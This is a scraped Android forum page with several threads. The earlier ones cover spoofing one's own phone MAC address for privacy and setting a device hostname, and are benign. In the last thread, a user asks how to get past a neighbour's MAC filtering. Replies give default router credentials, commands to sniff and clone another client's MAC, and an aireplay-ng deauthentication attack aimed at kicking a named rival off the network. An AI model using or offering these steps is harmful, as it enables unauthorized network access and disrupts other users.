MAC Address Spoofing - OnePlus 3T Guides, News, & Discussion

Being overly paranoid I'm always trying to make it harder for companies to track my device. Anyway, my most recent discovery is spoofing the MAC Address on my 3T so that wifi companies can't track it.
*** This requires root ***
I have it working in Marshmallow 6.0.1 (not tried it in Nougat)
Only attempt this if you understand MAC Addresses and be sure to note down your original/official MAC Address. Open /persist/wlan_mac.bin and take a copy of the contents before attempting the below.
Some background reading if you're not familiar with MAC Addresses.
Code:
ifconfig wlan0
will tell you all you need to know about the current state of your wireless adapter
The first command generates a MAC Address. I've hardcoded the first 6 characters of mine and randomly generate the remaining 6. It should generate a perfectly valid address but please post if it doesn't (or you have a better bash line).
The second sed command is to replace the MAC Address in the persisted wlan file. It's this command that needs to run as root.
You should be able to run these in something like Termux (make sure you're running as root by running "su" first). I actually run them using Tasker as "Code/Run Shell" commands.
Finally you need to enable then disable Airplane Mode for the change to take affect.
Here are the commands:
Code:
MAC=C0EEFB$(od -txC -An -N3 /dev/random| tr -d ' ')
Code:
sed -i "/Intf0MacAddress=/c\Intf0MacAddress=${MAC}" /persist/wlan_mac.bin
Code:
settings put global airplane_mode_on 1; am broadcast -a android.intent.action.AIRPLANE_MODE --ez state true
Code:
settings put global airplane_mode_on 0; am broadcast -a android.intent.action.AIRPLANE_MODE --ez state false
Code:
ifconfig wlan0 | grep HWaddr

Why don't you write a shell script that saves the old mac address to a text file and then create the new one. And each time the user executes the shell script to spoof the mac address it appends to the existing log file in a new line the old mac address before changed again. That was if you ever need to revert it, you can look at the log file.
BTW, thanks for the share!

bealer said:
Being overly paranoid I'm always trying to make it harder for companies to track my device. Anyway, my most recent discovery is spoofing the MAC Address on my 3T so that wifi companies can't track it.
Click to expand...
Click to collapse
Can't we just use this?
https://play.google.com/store/apps/details?id=eu.chainfire.pryfi

knpk13 said:
Can't we just use this?
https://play.google.com/store/apps/details?id=eu.chainfire.pryfi
Click to expand...
Click to collapse
I dont think that it will work since our devices are F2FS i saw this on reddit the other day.

using a custom mac address
Newbie here. Just wondering how I could use a specific mac address instead of a random generated number.
Thanks in advance.

m0d hipp¥ said:
Why don't you write a shell script that saves the old mac address to a text file and then create the new one. And each time the user executes the shell script to spoof the mac address it appends to the existing log file in a new line the old mac address before changed again. That was if you ever need to revert it, you can look at the log file.
Click to expand...
Click to collapse
Yeah definitely things to improve,automating storing the original being one of them. I'll maybe follow up with that.
I didn't want to mask the main two commands too much with others around them. There are a few (older) ways to do this but this was the only way I could get it to work. And it's not a complete app/solution, more teaching a man to fish sort of thing.

knpk13 said:
Can't we just use this?
https://play.google.com/store/apps/details?id=eu.chainfire.pryfi
Click to expand...
Click to collapse
You can although
a) OP3T isn't listed as a supported device, I didn't try it
b) You can't automate it with that app very easily. Mine changes via Tasker state/events every day so I don't need to bother doing it myself.

gxyf106 said:
Newbie here. Just wondering how I could use a specific mac address instead of a random generated number.
Click to expand...
Click to collapse
Easiest way is just to change the first command and hardcode the MAC you want, ie
Code:
MAC=C0EEFB998877

Termux says
Sh: MAC: Not Found after running second command. Any idea what went wrong?

gxyf106 said:
Termux says
Sh: MAC: Not Found after running second command. Any idea what went wrong?
Click to expand...
Click to collapse
Ah oops, that's an error in me typing it out. The 2nd command should contain:
Code:
${MAC}
The brackets were causing it to try and evaluate MAC as a command (rather than a variable). I'll update the OP.

I can confirm this works. many thanks!!

Android is using randomized MAC adress when searching for wifi networks, this is not needed.

Michalko5896 said:
Android is using randomized MAC adress when searching for wifi networks, this is not needed.
Click to expand...
Click to collapse
As of 6.0 it was my understanding that Android uses a generated MAC for scanning/probing networks. But when actually making a connection, the real MAC is used (so as not to cause network issues). So this post is still relevant. I'm generating a new MAC every day or two as I use a number of public open wifi connections.
Also working on my hostname being random, and trying to stop all traffic on an open wifi network until my vpn is up.
Some might argue it's OTT, but I'd say it's just good practise (certainly the last point).

bealer said:
As of 6.0 it was my understanding that Android uses a generated MAC for scanning/probing networks. But when actually making a connection, the real MAC is used (so as not to cause network issues). So this post is still relevant. I'm generating a new MAC every day or two as I use a number of public open wifi connections.
Also working on my hostname being random, and trying to stop all traffic on an open wifi network until my vpn is up.
Some might argue it's OTT, but I'd say it's just good practise (certainly the last point).
Click to expand...
Click to collapse
Well, if you are concerned about your safety, don't connect to any Wi-Fi / BT devices that you don't trust.

Michalko5896 said:
Well, if you are concerned about your safety, don't connect to any Wi-Fi / BT devices that you don't trust.
Click to expand...
Click to collapse
The MAC address spoofing is more about privacy in terms of trying to be anonymous, making it *harder* to track where I connect etc...
Trust is a slightly more complex, non-binary issue.

bealer said:
The MAC address spoofing is more about privacy in terms of trying to be anonymous, making it *harder* to track where I connect etc...
Trust is a slightly more complex, non-binary issue.
Click to expand...
Click to collapse
MAC aadress is only used in local network, it does not go further than the very network you are connected to. What kind of advantage does MAC spoofing give you?
There's still your device ID, browser information and other stuff, that can actually reach the service you are connecting to.

Someguyfromhell said:
MAC aadress is only used in local network, it does not go further than the very network you are connected to. What kind of advantage does MAC spoofing give you?
There's still your device ID, browser information and other stuff, that can actually reach the service you are connecting to.
Click to expand...
Click to collapse
It stops wifi services tracking my phone. For example I use the wifi on the London Underground. Every time I connect to their wifi they'd know exactly where, when, how long, possibly my DNS requests just based on my MAC. It's all information that can be used for profiling or sold on (if that was part of the terms). They still may not known who I am exactly, but I'd rather they weren't able to identify/target me if it meant simply randomising my MAC. As mentioned Android already does this when scanning for networks.
Device Id isn't given, unless you mean hostname (which can be randomised too). If you're using HTTPS based websites then all browser traffic is encrypted via SSL. If you're not, then yeah it's possible to packet sniff your traffic (which is illegal), see what you're browsing, what your browser is, even part (but not all I believe) of your MAC etc...

Try Pry-Fi
Chainfire already has Pry-Fi for that. It has worked flawlessly for me.

first of all thank you for the commands but somehow this does not work with my Oneplus 3 (without T) on Sultans CM13. The address does not change after entering the commands, the commands do not show any error message.
Any advice?
Furthermore Pry-Fi seems to be able to change the MAC but it crashes sometimes and it seems to loose my saved WiFis. Furthermore i am not able to connect to my home AP after changing the MAC with Pry Fi. :-/

Someguyfromhell said:
MAC aadress is only used in local network, it does not go further than the very network you are connected to. What kind of advantage does MAC spoofing give you?
There's still your device ID, browser information and other stuff, that can actually reach the service you are connecting to.
Click to expand...
Click to collapse
Many public, free hotspots that require accepting terms on "walled garden" page today are tracking MAC address, DHCP-assigned IP address, and DHCP lease and active session time stamps. Example hotspots include Starbucks, hotels, etc. These hotspot network operator have logs to trace IPs back to MACs at a specific point in time until the logs are disposed.

Related

Can I change my Hero's ID on a wireless network?

My Hero ID shows up on my wireless network as UNKNOWN, is there a way to change this? I know there was in WinMo, but I can't find anything in Android.
Thanks.
Do you mean the hostname?
I've not tried it but try setting it in /etc/hostname, and add it to the end of the localhost line in /etc/hosts, might work..
Hi Sam, thanks for the reply. Not sure what you mean by hostname.
I'm referring to how the phone is identified on a wireless network. With my WinMo devices I gave the phone a name in the Device ID section. Then, when I go to my router, I am able to see IP address, Device Name, and MAC address.
I cannot find any settings in the Hero that allow me to specify a device name, so it always shows up as UNKNOWN on the network.
Linux / unix
Deke
a Hosts file is a file that links IP address with Names... Windows have them UNIX and macs... etc...
its a file you will rarely see in windows. but in unix/linux you very well could.. as Android is based on Linux i beleive the sugesstion mentioned is to edit this file on your phone and ad the Local host (the phone itself) in there with the name you want it to have...
In UNIX (which i use) i can totaly see this working but have no idea if this will work on the phone, and you will need it to be 'rooted'
this means have access to the Administrators privlages to edit files...
(in linux root = Administrator)
there are posts on the forums on how to root your phone and it will open up function to you but at the same time will allow you to happly **** up the system files if you dont know what your doing and make your phone into a nice paperweight...
hope this helps
Hi Bobro; very helpful, thanks.
So basically I can't do something as simple as give my phone a useful ID without rooting it? I would regard that as a fundamental requirement, so it seems a bit foolish to omit the functionality from Android.

Set Wi-Fi Identity

Ok might be being a bit think here, but how can (or is it possible) to set the WiFi identity of the phone?
When I look at my router the laptops all are listed with "name" and MAC and then IP number apart from the Hero, which just has a blank space where the "name" should be.
So can this be fixed?
A bit of background which you might already know. DHCP is used to initialise the network interface & involves a conversation between the router running a dhcp server & your device, the client. On Android, the dhcp client is dhcpcd.
You want to set the hostname used by your wifi interface prior to dhcpcd doing its stuff. This can either be done from an init script via the hostname <name> command (which by default is probably using the name localhost) or by passing the -h <name> command line option to the invocation of dhcpcd.
By default dhcpcd will use the hostname (though if it's blank or localhost, it is obviously ignored, probably by dhcpcd rather than by the dhcp server), but the -h option will override this.
This name is passed to the dhcp server early on in the conversation.
Incidentally, the same protocol allows the dhcp server to tell the device what name to use. You might be able to configure your router to assign a name based on mac address. Usually if the dhcp server does this, dhcpcd will ignore it, the exception being if the existing hostname is localhost or blank, which does seem to be the case here.
So, how to configure this? Afraid it depends on your ROM. You need to look through /init.rc & any associated initialisation configuration. See if you can find where/if hostname is defined & where dhcpcd's commandline is specified. I don't like editing files in the boot partition directly, so personally I'd see if I can find some init script onto which I could tack an overriding hostname command. Of course this relies on it being invoked after any existing hostname command & before dhcpcd is started. You might need to experiment a bit.
Oh bugger there was me hoping it was as easy as "naming the computer" like you do in Windoze, I know I know that lots of complicated thing happen for you in the background but I dont fancy hacking around in anywhere to fix/sort this, it's not that important anyway
Lol, I know what you mean. Sometimes I start to look into something which I think will probably have a simple solution & then an hour later with twenty new tabs open in my browser I find myself thinking maybe I'll let someone else have a go at this
In this case, the best place to address it would be in kitchen of the ROM builder. You could ask whoever's responsible for the ROM you use to make it easier to configure the hostname. Failing that, they might at least be able to give you the location of an existing file which you can change. If you give it a shot, do post back. Someone else with the same question is bound to stumble into this thread eventually.

gtablet Device name on the network

Does anyone know how to change the device name on the gtablet? I now have the ablilty to hook me gtablet up to my corporate network, so I went into the DHCP server to make a reservation for the device the name that it displays is andoid_XXXXXXXXXXXXXXXXX.mydomain.com replace the X with Hex numbers and letters. I would like to change the name on the device so that other admins know what the device is and don't delete if from the reservation pool.
i was thinking
IpadCrusher.mydomin.com
I too would like to know how to change the hostname (device name).
Viper Tablet
greyspacealien said:
Does anyone know how to change the device name on the gtablet? I now have the ablilty to hook me gtablet up to my corporate network, so I went into the DHCP server to make a reservation for the device the name that it displays is andoid_XXXXXXXXXXXXXXXXX.mydomain.com replace the X with Hex numbers and letters. I would like to change the name on the device so that other admins know what the device is and don't delete if from the reservation pool.
i was thinking
IpadCrusher.mydomin.com
Click to expand...
Click to collapse
I still like Viper Tablet for the Viewsonic VEGAn build when ever it goes final!
I would also like to know. I keep getting hassled by my Network Admins because every time I load a new ROM, the "xxxxx" changes and it looks like a new device. Same thing happens with my HTC Incredible Phone.
I'm jealous because I can't even logon to my works corporate network. Device keeps failing to assign an i.p address.
I get connected via wifi if I assign a static address, but android doesn't support http proxy or something, so the username/logon screen never comes up
greyspacealien said:
Does anyone know how to change the device name on the gtablet? I now have the ablilty to hook me gtablet up to my corporate network, so I went into the DHCP server to make a reservation for the device the name that it displays is andoid_XXXXXXXXXXXXXXXXX.mydomain.com replace the X with Hex numbers and letters. I would like to change the name on the device so that other admins know what the device is and don't delete if from the reservation pool.
i was thinking
IpadCrusher.mydomin.com
Click to expand...
Click to collapse
If you are rooted and have a robust busybox installed, after reboot you could execute the following command:
busybox hostname YourDevice
You could setup a gscript script and run it before you turn on your wifi or download autostart and have your script run automatically after a reboot.
Your network admins actually allow this thing on your corporate network?? Oh my.
In Linux, the computer name is stored in the /etc/hosts file. You might try editing your hosts file and put in:
127.0.0.2 name.site name
NMCBR600 said:
In Linux, the computer name is stored in the /etc/hosts file. You might try editing your hosts file and put in:
127.0.0.2 name.site name
Click to expand...
Click to collapse
If you get a fixed IP address or one with reservation each time you connect to your wifi router, this may work.
I have a home built dd-wrt wireless distribution system at home and was playing with the hosts file to see how my wds interpreted hosts file and it didn't work but that is just my homegrown system. my 2wire router didn't interpret it either (gave the random android_xxxxxxxxxxx device name.
Of course, you could just give them the MAC address of your wireless card which you can get by doing #busybox ifconfig in a terminal session and tell them the name you want and they can create an Arec in the dns names.
roebeet said:
Your network admins actually allow this thing on your corporate network?? Oh my.
Click to expand...
Click to collapse
Actually, no. However, connecting to MS Exchange with Sync logs the Device ID into Exchange. So, each time I load a different ROM, I log a new ID. Drives them nuts.
I did some research today though and found an app called Android ID Changerthat will allow me to see my DeviceID and modify it. I reinstalled my orginal ROM, recorded the ID, reloaded Vegan and changed the ID to the original device information. Works very well.
I found this post in another forum that may work for you:
http://forum.xda-developers.com/showpost.php?p=9560696&postcount=1
Please note that if you do use setprop you would have to reset it after each reboot. I think adding a correlating line in build.prop (if one exists) would be a better alternative. Otherwise, they discuss unpacking/repacking the boot.img to make it permanent.
roebeet said:
Your network admins actually allow this thing on your corporate network?? Oh my.
Click to expand...
Click to collapse
I am one of the net admins
I wouldn't say its on the corprate network, its on the corprate wireless network, I can get to the web and the intranet but that is about it we have it pretty locked down. I have it teathered to my phone most of the day. Its fun to take it to a meeting and have all of the iPad users say is that the new iPad I just laugh and think YOU WISH.
Roebeet I know I have talked about this before with you, I like you would like to get my usb air card working on this bad boy that would solve all fo my connections issues. Im not the smartest guy with linux but I could spend some time if I could find some info about it.
I had found this site a while ago but could not get the drivers to install I'm sure its because we don't have source code.
http://sierrawireless.custhelp.com/...ting-system-?-(-v.1.7.34)#Driver_Installation

[SOLVED]School Wifi, Two IPs

I've been looking around the forums and google for a solution to this. From what I found, the solution that works for most people with the same problem as me ends up being chnaging the UA String to iPhone or Desktop, but that still doesnt seem to work for me.
Now my problem is that at my school, they set it up to where you have to log into a portal before you can access to the WiFi, but my phone never redirects to the portal. It used to on Windows mobile, but now running Android on NAND, it wont redirect. I've tried nearly every browser on the Android market, tried changing the UA String on all of them. And still nothing. I ended up going to the school's IT Dept, and they registered the Mac Address to my phone, but then told me that my phone was connecting to two different IPs. One being the school IP, the other an unknown IP.
I've looked in the WiFi settings and i cannot find this second IP they gave me. From the sound of it, thats my problem. Any idea on how to remove this second IP? Or if the IT dept. was wrong? If so, and other ideas on how I can connect to this portal?
PS: My phone connects to every other portal website i've gone to so far, except the schools.
hmm strange, normally your WIFI connection connects to only one network. You can find the IP address by calling *#4636#*#* then Wifi Information / Wi-fi Status. Now click Refresh and you'll see your connection info. You can even run a ping test
jorgen2009 said:
hmm strange, normally your WIFI connection connects to only one network. You can find the IP address by calling *#4636#*#* then Wifi Information / Wi-fi Status. Now click Refresh and you'll see your connection info. You can even run a ping test
Click to expand...
Click to collapse
So looking around the forums again I ran into this http://forum.xda-developers.com/showthread.php?t=965597
Not sure if I am reading that right, but the USB Port can have an IP? If thats possible, how can I disable it or change it?
You need update your ROM to one that support unique MAC address or search WIFI MAC to set the MAC address back to your real one. Old Android library on HD2 set the MAC address by using a file so all the phone has a same MAC address by default. You didn't have two IP address. There is someone else running a Android HD2 on the network. Two devices with the same MAC is the same device to the IT Dept. Only one of the device will be routed at any one time.
nightcraw said:
You need update your ROM to one that support unique MAC address or search WIFI MAC to set the MAC address back to your real one. Old Android library on HD2 set the MAC address by using a file so all the phone has a same MAC address by default. You didn't have two IP address. There is someone else running a Android HD2 on the network. Two devices with the same MAC is the same device to the IT Dept. Only one of the device will be routed at any one time.
Click to expand...
Click to collapse
This sounds like it might work. I'm currently art school an unable to change roms. I'll do this when I get home and leave an update.
Sent from my HTC HD2 using XDA App
No need to change rom.
Use search function 'change MAC adress' or something like that.
I'm using a SD Android and needed to change it also, was just a change in startup.txt.
Maybe it is a little different in NAND? But it should be easier to search a little bit around as to re-flash.
(Most or maybe all Android builds have this problem)
If possible, use your WM MAC adress to avoid further problems.
regards
mf_1
mf_1 said:
No need to change rom.
Use search function 'change MAC adress' or something like that.
I'm using a SD Android and needed to change it also, was just a change in startup.txt.
Maybe it is a little different in NAND? But it should be easier to search a little bit around as to re-flash.
(Most or maybe all Android builds have this problem)
If possible, use your WM MAC adress to avoid further problems.
regards
mf_1
Click to expand...
Click to collapse
I ended up changing my rom, and it fixed my problem. Used Hyperdroid GBX, also gave me a chance to install CWM.
But your fix might have worked as well.
His fix will only have worked for sd builds, not NAND. currently, many kernels for nand will give you a unique mac address, but there is no way to set it like there was on sd builds
Sent from my HTC HD2 using XDA App

[Q] "hacking": How to find the model of the WiFi router that I'm connected to?

[Q] "hacking": How to find the model of the WiFi router that I'm connected to?
Here's the deal. My girlfriends lives in the student dorms and the girl next door has set up wifi network, so they are splitting the fee. However, her boyfriend put mac address protection on the router, so next time I go there I cant connect my Pc, tablet and phone, how do I surpass this?
The only thing that came to mind is to find the model of the router, log in to it with the deffault name and password (im pretty sure he didn't change them and simply add my mac or remove this feature).
How do I do this without asking the model of the router? Is there a way?
arsenala said:
Here's the deal. My girlfriends lives in the student dorms and the girl next door has set up wifi network, so they are splitting the fee. However, her boyfriend put mac address protection on the router, so next time I go there I cant connect my Pc, tablet and phone, how do I surpass this?
The only thing that came to mind is to find the model of the router, log in to it with the deffault name and password (im pretty sure he didn't change them and simply add my mac or remove this feature).
How do I do this without asking the model of the router? Is there a way?
Click to expand...
Click to collapse
haha,why don't you ask them for the name and password in quiet?
arsenala said:
Here's the deal. My girlfriends lives in the student dorms and the girl next door has set up wifi network, so they are splitting the fee. However, her boyfriend put mac address protection on the router, so next time I go there I cant connect my Pc, tablet and phone, how do I surpass this?
The only thing that came to mind is to find the model of the router, log in to it with the deffault name and password (im pretty sure he didn't change them and simply add my mac or remove this feature).
How do I do this without asking the model of the router? Is there a way?
Click to expand...
Click to collapse
you can share the internet on your gf computer through the lan port and then use acces-point to make it wireless, i think this bypass thier mac proctection
admin/root, admin/admin, admin/blank password are the most common default credentials
hope this helps
Most routers have a default password of admin/admin or admin/password.
Please try if either combination works.
Give your gf your mac addresses and have them added to the router. she's splitting the cost so she should be able to use it. they can be removed after she dumps you.
Sent from my SCH-I510 using xda app-developers app
try telnetting to the router and see if it gives you a header. Sometimes it will give you the make/model information at the login prompt.
as easy as that
Go to the gateway IP (192.168.0.1 / 1.1)
And login. Then you'll see the router's model.
Even If you're unable to login sometimes it's still written in the tab's title
Default login data is
admin:admin
And you can easily bypass mac filter by spoofing your mac,login to the settings pannel and remove protection.
(please use ubuntu or similar)
there is an app for that
google play Find My router when connected to the network.
if the guy did not changed the credentials this app will show you what are they and you can enter and modify mac filtering
if you are running linux
if your runing linuix you can open terminal and enter
su - (super mode)
Password: **** (enter root password if not known theres a comand to change it )
ifconfig wlan0 down
macchanger -m *************** (copy anyone on the networks mac address)
ifconfig wlan0 up
if you dont know the mac address its simple on kali linux
su _
Password
airodump-ng wlan0
this wil bring up all wifi networds in the area with their info
then pick their info and write
airodump-ng -c (chan number) -e (wifi name) --bssid --ivs wlan0
this should show connected stations mac addresses
and copy into the maccchanger -m (**************) comand i said earlier
written from memory correct me if wrong
---------- Post added at 11:34 AM ---------- Previous post was at 11:27 AM ----------
arsenala said:
Here's the deal. My girlfriends lives in the student dorms and the girl next door has set up wifi network, so they are splitting the fee. However, her boyfriend put mac address protection on the router, so next time I go there I cant connect my Pc, tablet and phone, how do I surpass this?
The only thing that came to mind is to find the model of the router, log in to it with the deffault name and password (im pretty sure he didn't change them and simply add my mac or remove this feature).
How do I do this without asking the model of the router? Is there a way?
Click to expand...
Click to collapse
HELPB plebsb :fingers-crossed:
if the boyfriends wants to chat **** kick him off the wifi using a deauthentication attack
aireplay-ng -a (MAC id of victim here ) --deauth 0 wlan0
–deauth means deauthentication
0 is the number of deauths to send (you can send multiple if you wish like 5)
-a 00:14:6C:7E:40:80 is the MAC address of the access point
-c 000:00:00:00:00:9D is the MAC address of the client you are deauthing if you want to#
taken from
as i dont have my pc infront of me
---------- Post added at 11:39 AM ---------- Previous post was at 11:34 AM ----------
arsenala said:
Here's the deal. My girlfriends lives in the student dorms and the girl next door has set up WiFi network, so they are splitting the fee. However, her boyfriend put mac address protection on the router, so next time I go there I cant connect my PC, tablet and phone, how do I surpass this?
The only thing that came to mind is to find the model of the router, log in to it with the default name and password (im pretty sure he didn't change them and simply add my mac or remove this feature).
How do I do this without asking the model of the router? Is there a way?
Click to expand...
Click to collapse
HELPB plebsb :fingers-crossed:
if the boyfriends wants to chat **** kick him off the WiFi using a deauthentication attack
aireplay-ng -a (MAC id of victim here ) --deauth 0 wlan0
–deauth means deauthentication
0 is the number of deauths to send (you can send multiple if you wish like 5)
-a 00:14:6C:7E:40:80 is the MAC address of the access point
-c 000:00:00:00:00:9D is the MAC address of the client you are deauthing if you want to#
taken from
as i dont have my PC in front of me

Categories

Resources